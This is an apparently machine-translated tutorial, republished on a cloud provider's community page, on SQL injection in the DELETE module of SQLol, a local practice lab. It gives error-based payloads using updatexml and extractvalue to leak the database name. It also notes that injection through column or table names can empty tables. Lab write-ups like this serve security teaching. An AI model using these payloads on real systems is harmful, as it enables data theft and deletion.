SQL injection test Platform Sqlol-5.delete injection test

Source: Internet
Author: User
Tags sql injection

Access the Delete module on the home page, http://127.0.0.1/sql/delete.php, and start testing the Delete module.

Delete syntax:

DELETE from "Users" WHERE "username" = "' 1 '"

  

There may be injections in several locations, only one is shown here.

The following shows the methods injected into different locations.

One, String in WHERE clause

To construct a POC:

' or Updatexml (1,concat (0x7e, (Database ()), 0x7e), 0) or '

Get database


Second, Integer in WHERE clause

To construct a POC:

"Or Extractvalue (1,concat (0x7e,database ())) or"

Get database


Third, Column Name

Injection point at "1"

DELETE from Users WHERE "1" = 1

How to use:

1. Clear the Users table

2. Construct Error Injection statement


Iv. Table Name

Injection point at "1"

DELETE from 1 WHERE isadmin = 0

How to use:

1. Empty any table

2, construction error, burst data

SQL injection test Platform Sqlol-5.delete injection test

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.